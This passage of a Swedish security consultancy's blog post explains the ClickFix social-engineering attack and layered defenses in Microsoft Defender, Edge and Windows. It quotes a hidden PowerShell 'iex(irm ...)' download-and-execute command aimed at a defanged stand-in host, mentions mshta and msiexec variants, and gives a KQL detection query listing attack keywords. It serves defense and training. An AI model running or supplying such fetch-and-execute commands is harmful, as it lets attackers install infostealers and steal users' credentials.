[{"data":1,"prerenderedAt":1665},["ShallowReactive",2],{"sc:header-data-sv":3,"sc:footer-data-sv":489,"post-sv--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1088,"content-sv-list-7b291c2dd91a4":1441,"authors_data:Fritz Zurhorst|Nadine Klein":1661},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"sv":13},{"title":14,"url":15,"alt":16},"Hem","/sv","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"sv":21},{"title":22,"description":23},"Workplace","Microsoft 365-driven för smarta, säkra och flexibla arbetsmiljöer som förenar den senaste tekniken och identitetslösningar.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"sv":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"sv":34},{"title":35,"url":36},"Managed Intune","/sv/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"sv":40},{"title":41,"url":42},"Managed Entra","/sv/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"sv":46},{"title":47,"url":48},"Managed Workplace","/sv/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"sv":52},{"title":53,"url":54},"Consulting Services","/sv/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"sv":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"sv":64},{"title":65,"url":66},"Microsoft Entra Suite","/sv/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"sv":70},{"title":71,"url":72},"Microsoft Intune","/sv/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"sv":76},{"title":77,"url":78},"Microsoft Windows","/sv/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"sv":82},{"title":83,"url":84},"Windows 365 Cloud PC","/sv/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"sv":88},{"title":89,"url":90},"Cloud Workplace Foundation","/sv/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"sv":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"sv":100},{"title":101,"url":102},"Microsoft 365 Copilot","/sv/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"sv":106},{"title":107,"url":108},"Teams","/sv/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"sv":112},{"title":113,"url":114},"SharePoint & Power Platform","/sv/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"sv":118},{"title":119,"url":120},"Exchange Online","/sv/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"sv":124},{"title":125,"url":126},"Information Protection & Compliance","/sv/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"sv":130},{"title":131,"description":132},"Azure","Driv tillväxt med Azure: Sänk molnkostnaderna, öka effektiviteten och driv innovation genom IaaS och PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"sv":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"sv":142},{"title":143,"url":144},"Azure Managed Services","/sv/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"sv":148},{"title":149,"url":150},"Azure Consulting","/sv/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"sv":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"sv":160},{"title":161,"url":162},"Planera ditt moln","/sv/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"sv":166},{"title":167,"url":168},"Migrera till molnet","/sv/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"sv":172},{"title":173,"url":174},"Förnya din verksamhet","/sv/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"sv":178},{"title":179,"url":180},"Ompröva din VMware-strategi","/sv/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"sv":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"sv":190},{"title":191,"url":192},"Azure Foundation","/sv/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"sv":196},{"title":197,"url":198},"Azure AI Foundation","/sv/azure/azure-ai-foundation",{"name":86,"languages":200},{"sv":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"sv":205},{"title":206,"url":207},"Azure Data Foundation","/sv/azure/azure-data-foundation",{"name":188,"languages":209},{"sv":210},{"title":211,"url":212},"Azure Container Foundation","/sv/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"sv":216},{"title":217,"url":218},"Managed Dark Tenant","/sv/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"sv":222},{"title":223,"url":224},"Cloud Adoption Framework","/sv/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"sv":228},{"title":229,"url":230},"Cloud Competence Center","/sv/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"sv":234},{"title":235,"description":236,"emergency":237},"Säkerhet","Vaksamhet i molnet med en prisbelönt managed service dygnet runt, incident response och toppmodernt skydd för din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Attackerad?","/sv/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"sv":249},{"title":250,"url":251},"Managed Red Tenant","/sv/security/managed-red-tenant",{"name":214,"languages":253},{"sv":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"sv":259},{"title":260,"url":261},"Sentinel Data Lake","/sv/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"sv":265},{"title":266,"url":267},"Security Consulting","/sv/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"sv":274},{"title":275,"url":276},"Cloud Security Operations Center","/sv/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"sv":280},{"title":281,"url":282},"Global Secure Access","/sv/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"sv":286},{"title":287,"url":288},"MyWorkID","/sv/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"sv":295},{"title":296,"url":297},"Preventive Services","/sv/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"sv":301},{"title":302,"url":303},"Data Security Service","/sv/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"sv":307},{"title":308,"url":309},"Security Copilot Agents","/sv/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"sv":313},{"title":314,"url":315},"Implementera NIS2","/sv/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"sv":319},{"title":320,"description":321},"Produkter","Innovativa kompletterande produkter för en helt säker, 100% cloud-native Microsoft-miljö som förbättrar samarbete, nätverksautentisering och programvaruhantering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"sv":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Molnbaserad programvarudistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"sv":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution från molnet",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"sv":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbeta lokalt med dina Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"sv":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrera dina data från en server till en annan",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"sv":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider för Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"sv":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering för ditt nätverk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"sv":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Hitta kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"sv":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-övervakning i realtid",{"name":396,"languages":397},"casestudies",{"sv":398},{"title":399,"url":400,"description":401},"Kundcase","/sv/casestudies","Pionjär i molnet: Din främsta Microsoft-partner för heltäckande molnlösningar med ett Blueprint-baserat tillvägagångssätt och expertis inom Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"sv":405},{"title":406,"description":401},"Företag",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"sv":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"sv":417},{"title":418,"url":419},"Fakta och siffror","/sv/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"sv":423},{"title":424,"url":425},"Kontakt och platser","/sv/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"sv":429},{"title":430,"url":431},"glueckkanja Schweiz","/sv/company/switzerland",{"name":433,"languages":434},"austria",{"sv":435},{"title":436,"url":437},"glueckkanja Österrike","/sv/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"sv":441},{"title":442},"Karriär",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"sv":447},{"title":448,"url":449},"Karriäröversikt","/sv/career",{"name":451,"languages":452},"company-young-professionals",{"sv":453},{"title":454,"url":455},"Young Professionals","/sv/young-professionals",{"name":457,"languages":458},"company-jobs",{"sv":459},{"title":460,"url":461},"Lediga jobb","/sv/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"sv":465},{"title":466},"Aktuellt",[468,474],{"name":469,"languages":470},"company-blog",{"sv":471},{"title":472,"url":473},"Blogg","/sv/blog",{"name":469,"languages":475},{"sv":476},{"title":477,"url":478},"Event","/sv/events",[480],{"name":481,"languages":482},"career-meta",{"sv":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"sv":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksSv":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Integritetspolicy","/sv/privacy",{"title":514,"url":515},"Juridisk information","/sv/imprint",{"title":517,"url":518},"Inga cookies","/sv/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1039,"hideInRecent":484,"layout":1040,"meta":1041,"moment":1045,"navigation":325,"path":1080,"seo":1081,"stem":1082,"tags":1083,"webcast":484,"__hash__":1087},"content_sv/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. När användaren är exploiten, och hur ni stoppar det",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1028},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,629,631,634,648,652,654,661,741,758,761,765,767,770,785,788,791,795,797,800,803,828,832,834,837,844,848,850,853,879,882,885,888,987,990,993,996,1007,1010,1014,1016,1024],[529,530,532],"h2",{"id":531},"clickfix-attackkedjan","ClickFix-attackkedjan",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFix är en attack där användare blir sin egen angripare. Ingen exploit, ingen sårbarhet. Offret kör själv den skadliga koden, med en enda copy-paste.",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"ClickFix-attackkedjan i fem steg: betet, tricket, copy-paste, exekvering, infektion.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"Betet är social engineering: ett förfalskat CAPTCHA på en skadlig sida, ett falskt supportmeddelande (\"din webbläsare behöver en uppdatering\"), ett phishingmejl eller en förfalskad mötessida. Medan offret är på sidan skriver JavaScript payloaden till urklipp via ",[551,552,553],"code",{},"clipboard.writeText()",". Sedan uppmanar sidan användaren att trycka Win+R, Ctrl+V och Enter. Kör-dialogen startar det som ligger i urklipp.",[534,556,557],{},"Ett typiskt bete ser ut så här:",[534,559,560],{},[543,561],{"alt":562,"src":563},"Skärmbild av ett förfalskat CAPTCHA-bete som uppmanar användaren att trycka Win och X, sedan klistra in och med Enter köra ett kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"Kommandot som det lägger i urklipp ser ut så här:",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"Två saker händer samtidigt. PowerShell startar i ett dolt fönster (",[551,591,592],{},"-w h","), och ",[551,595,596],{},"iex(irm …)"," laddar ner payloaden och kör den direkt i minnet. Ingenting landar på disken, signaturbaserat antivirus har alltså inget att skanna. Steg två är oftast en infostealer (Lumma, Vidar, RedLine, StealC), en remote access-trojan eller en ransomware-loader.",[534,599,600,601,603],{},"Samma mönster i Microsoft Defender-telemetrin, en dold PowerShell startad från Windows Terminal som kör ",[551,602,596],{},":",[534,605,606],{},[543,607],{"alt":608,"src":609},"Microsoft Defender-inspect-record med processkedjan WindowsTerminal.exe till pwsh.exe till powershell.exe, som kör ett iex(irm …)-kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"Varför det fungerar så bra: allt körs i användarkontexten, utan förhöjda behörigheter. Cookies, sparade lösenord och session-tokens ligger inom räckhåll för en standardanvändare. Angriparen behöver inte eskalera behörigheter för att komma åt det den kom för.",[529,614,616],{"id":615},"vad-microsoft-defender-upptäcker","Vad Microsoft Defender upptäcker",[534,618,536],{},[534,620,621],{},"Microsoft har de senaste månaderna investerat mycket i ClickFix-detekteringen. Om er Defender är frisk och rätt konfigurerad får ni inbyggda detekteringar för ClickFix-payloads. Sedan Q2 2025 publicerar MDE beteendebaserade alerts under titlar som \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" eller \"An active 'Pacalau' malware in a command line was prevented from executing\". De avfyras från MDE-molnmotorn via analysen av processkedjan, parallellt med AV-detekteringen och ofta några sekunder tidigare.",[534,623,624],{},"Konfigurationen som gör det möjligt står längre ned under härdningen av exekveringen.",[529,626,628],{"id":627},"var-den-inbyggda-detekteringen-når-sina-gränser","Var den inbyggda detekteringen når sina gränser",[534,630,536],{},[534,632,633],{},"Molnbaserade ML-signaturer behöver tid innan de löser ut. Vi ser regelbundet en lucka på över en minut mellan PowerShell-starten och Defender-alerten. En snabbare payload glider igenom det fönstret.",[534,635,636,637,639,640,643,644,647],{},"Angripare anpassar sig dessutom snabbt. Byt ",[551,638,576],{}," mot ",[551,641,642],{},"mshta http://..."," eller ",[551,645,646],{},"msiexec /i http://...",", båda klassiska LOLBins, och de PowerShell-specifika detekteringarna biter inte längre.",[529,649,651],{"id":650},"att-stänga-luckan-en-runmru-hunt","Att stänga luckan: en RunMRU-hunt",[534,653,536],{},[534,655,656,657,660],{},"Den luckan stänger vi med custom detections. Utgångspunkten är en KQL-fråga mot registernyckeln ",[551,658,659],{},"RunMRU",", som skriver ned varje kommando som en användare knappar in i Win+R-dialogen.",[568,662,663],{"style":570},[572,664,668],{"className":665,"code":666,"language":667,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,669,670,675,681,687,693,699,705,711,717,723,729,735],{"__ignoreMap":577},[581,671,672],{"class":583,"line":584},[581,673,674],{},"DeviceRegistryEvents\n",[581,676,678],{"class":583,"line":677},2,[581,679,680],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,682,684],{"class":583,"line":683},3,[581,685,686],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,688,690],{"class":583,"line":689},4,[581,691,692],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,694,696],{"class":583,"line":695},5,[581,697,698],{},"| where RegistryValueData has \" ✅ \"\n",[581,700,702],{"class":583,"line":701},6,[581,703,704],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,706,708],{"class":583,"line":707},7,[581,709,710],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,712,714],{"class":583,"line":713},8,[581,715,716],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,718,720],{"class":583,"line":719},9,[581,721,722],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,724,726],{"class":583,"line":725},10,[581,727,728],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,730,732],{"class":583,"line":731},11,[581,733,734],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,736,738],{"class":583,"line":737},12,[581,739,740],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,742,743,744,747,748,747,751,747,754,757],{},"Frågan markerar varje Win+R-post som ser ut som ett ClickFix-kommando: PowerShell, mshta, curl eller msiexec tillsammans med typiska indikatorer som ",[551,745,746],{},"-w hidden",", ",[551,749,750],{},"iex",[551,752,753],{},"irm",[551,755,756],{},"DownloadString"," eller Base64-kodade payloads. Den fångar också de subtila tricken. Den gröna bock-emojin som många förfalskade CAPTCHA-beten sätter framför kommandot. Unicode-tecken ur kyrilliska, arabiska eller thailändska block, som angripare använder för att maskera text och kringgå enkla strängfilter. Dyker ett av de här mönstren upp i en Win+R-post pågår med stor sannolikhet en ClickFix-attack just då.",[534,759,760],{},"För våra CSOC-kunder driver vi den här och ytterligare custom detections för att stänga luckan mellan nya attacktekniker och den inbyggda detekteringen.",[529,762,764],{"id":763},"skyddslager-1-blockera-leveransen","Skyddslager 1: blockera leveransen",[534,766,536],{},[534,768,769],{},"Nu till preventionen. ClickFix är utbrett och framgångsrikt, ett enskilt skydd räcker alltså inte. Vi arbetar i lager, från leveransen till exekveringen.",[534,771,772,773,776,777,780,781,784],{},"Network Protection blockerar kända leveransdomäner och C2-servrar för alla webbläsare. MDE Web Content Filtering kompletterar med kategorier som \"Newly registered domains\", \"Hacking\" och \"Illegal Software\". Network Protection är inbyggt i Windows, men för tredjepartswebbläsare måste ni inaktivera QUIC och ECH, eftersom båda krypterar hela förbindelsen och döljer måldomänen. Inaktivera QUIC i Chrome och Firefox via enterprise-policy (",[551,774,775],{},"QuicAllowed = Disabled"," i Chrome, ",[551,778,779],{},"network.http.http3.enable = false"," i Firefox); för ECH sätter ni ",[551,782,783],{},"EncryptedClientHelloEnabled = Disabled"," i Chrome.",[534,786,787],{},"För Edge aktiverar ni SmartScreen. För tredjepartswebbläsare slår ni på deras inbyggda Safe Browsing. Det är inte samma sak som Network Protection, men det hjälper till att filtrera skadliga sidor. För mejlvektorn granskar Safe Links och Safe Attachments länkar och bilagor innan användare interagerar med dem.",[534,789,790],{},"Haken: allt det biter bara mot känd infrastruktur. Aktuella ClickFix-kampanjer körs över nyregistrerad infrastruktur som identifieras och blockeras för sent, och ibland över legitima sidor som en angripare har komprometterat. Så vi tittar på vad som skyddar efter att betet har levererats.",[529,792,794],{"id":793},"skyddslager-2-blockera-tricket","Skyddslager 2: blockera tricket",[534,796,536],{},[534,798,799],{},"Ett par Edge-funktioner höjer tröskeln medan användaren är på en skadlig sida. Att styra webbläsartillägg förhindrar att användare installerar skadliga eller komprometterade tillägg som injicerar ClickFix-overlays eller själva manipulerar urklipp. Edge Enhanced Security Mode lägger strängare skyddsåtgärder på okända och sällan besökta sidor (JIT inaktiverat, Control Flow Guard, hårdvarustött stackskydd), vilket avsevärt försvårar exploitbaserade övertaganden av webbläsaren. Typo Protection varnar för typosquattade domäner (micros0ft.com, paypa1.com) och blockerar en utbredd ClickFix-leveransvektor via förfalskade varumärkesdomäner.",[534,801,802],{},"Tekniska kontroller är bara halva jobbet. Användarutbildning förblir avgörande. Den enda regel som bär den största delen: om en webbsida uppmanar dig att klistra in något i din dator är det en attack. Gör det konkret i medvetenhetsträningen:",[804,805,807,808,807,816,807,822],"ul",{"style":806},"margin: 0.25rem 0","\n  ",[809,810,811,815],"li",{},[812,813,814],"strong",{},"Visa riktiga beten:"," förfalskade \"Verify you are human\"-kryssrutor, \"din webbläsare behöver en uppdatering\", \"dokumentet kunde inte renderas, kör den här fixen\", trasiga Teams- eller Zoom-ljudprompter.",[809,817,818,821],{},[812,819,820],{},"Demonstrera urklippstricket:"," visa hur sidan tyst skriver över urklipp.",[809,823,824,827],{},[812,825,826],{},"Gör det enkelt att rapportera:"," snabbt och utan skuldbeläggning.",[529,829,831],{"id":830},"skyddslager-3-blockera-handlingen","Skyddslager 3: blockera handlingen",[534,833,536],{},[534,835,836],{},"Här finns ett par möjligheter att härda systemet, ingen av dem är en garanti. Börja med att inaktivera Kör-dialogen, det tar bort Win+R som ingångspunkt. Microsofts ClickFix-guidance rekommenderar att inaktivera den \"where it isn't necessary\". Det stänger den specifika Win+R-paste-attacken, men alternativa startytor finns kvar, exempelvis Utforskarens adressfält och Windows Terminal.",[534,838,839,840,843],{},"Ni kan dessutom härda Edge med ",[551,841,842],{},"DefaultClipboardSetting",", vilket förhindrar att JavaScript tyst skriver till urklipp.",[529,845,847],{"id":846},"skyddslager-4-blockera-exekveringen","Skyddslager 4: blockera exekveringen",[534,849,536],{},[534,851,852],{},"Innan de avancerade funktionerna, få ordning på grunderna. För ClickFix betyder det:",[804,854,807,855,807,861,807,867,807,873],{"style":806},[809,856,857,860],{},[812,858,859],{},"Local admin reduction:"," ta bort lokala administratörsbehörigheter från slutanvändare där det går, för att begränsa effekten av en kodexekvering.",[809,862,863,866],{},[812,864,865],{},"Endpoint Privilege Management (EPM):"," låt användare arbeta som standardanvändare och elevera bara godkända appar via policyregler.",[809,868,869,872],{},[812,870,871],{},"UAC-härdning:"," granska secure desktop-enforcement, promptbeteende för administratörer och standardanvändare samt installer-detektering.",[809,874,875,878],{},[812,876,877],{},"Credential Guard:"," isolera NTLM-hashar, Kerberos-biljetter och annat credential-material med virtualiseringsbaserad säkerhet, så att credential-stöld förblir svårt även om en angripare får administratörsbehörighet.",[534,880,881],{},"De här kontrollerna minskar eskaleringsmöjligheterna, skyddar credentials och driver igenom least privilege. Gränsen för dem: de begränsar vad som händer efter en kompromettering. De hindrar inte en infostealer i standardanvändarkontexten från att läsa ut cookies, session-tokens och app-credential-stores som är läsbara för användaren.",[534,883,884],{},"Sedan Microsoft Defender. Defender AV kan upptäcka payloaden i steg två, men bara med rätt inställningar: slå på Cloud Protection och sätt skyddsnivån till High eller High+. AMSI, Antimalware Scan Interface, låter applikationer lämna över innehåll till Defender för granskning vid körning, efter att det har dekrypterats eller deobfuskerats i minnet men innan det körs. PowerShell använder AMSI för att identifiera skadlig kod, och AMSI kräver realtidsskydd och behavior monitoring.",[534,886,887],{},"Minst fem Attack Surface Reduction-regler är relevanta mot ClickFix:",[568,889,891],{"style":890},"margin: 0.5rem 0 2rem; overflow-x: auto",[892,893,807,895,807,914],"table",{"style":894},"width:100%; border-collapse: collapse; font-size: 0.85rem",[896,897,898,899,807],"thead",{},"\n    ",[900,901,902,903,902,908,902,911,898],"tr",{},"\n      ",[904,905,907],"th",{"style":906},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[904,909,910],{"style":906},"GUID",[904,912,913],{"style":906},"ClickFix-relevans",[915,916,898,917,898,933,898,948,898,961,898,974,807],"tbody",{},[900,918,902,919,902,924,902,930,898],{},[920,921,923],"td",{"style":922},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Blockera exekvering av potentiellt obfuskerade skript",[920,925,927],{"style":926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,928,929],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[920,931,932],{"style":922},"Obfuskerade eller kodade skript i exekverings- och evasionsfasen",[900,934,902,935,902,939,902,945,898],{},[920,936,938],{"style":937},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Hindra JavaScript eller VBScript från att starta nedladdat körbart innehåll",[920,940,942],{"style":941},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[551,943,944],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[920,946,947],{"style":937},"WSH, .js eller .vbs som startar nedladdade payloads",[900,949,902,950,902,953,902,958,898],{},[920,951,952],{"style":922},"Tillåt körbara filer bara vid prevalens-, ålders- eller trusted list-kriterium",[920,954,955],{"style":926},[551,956,957],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[920,959,960],{"style":922},"Färska eller sällsynta droppade executables",[900,962,902,963,902,966,902,971,898],{},[920,964,965],{"style":937},"Blockera körbart innehåll från e-postklient och webbmejl",[920,967,968],{"style":941},[551,969,970],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[920,972,973],{"style":937},"ClickFix-varianter levererade via 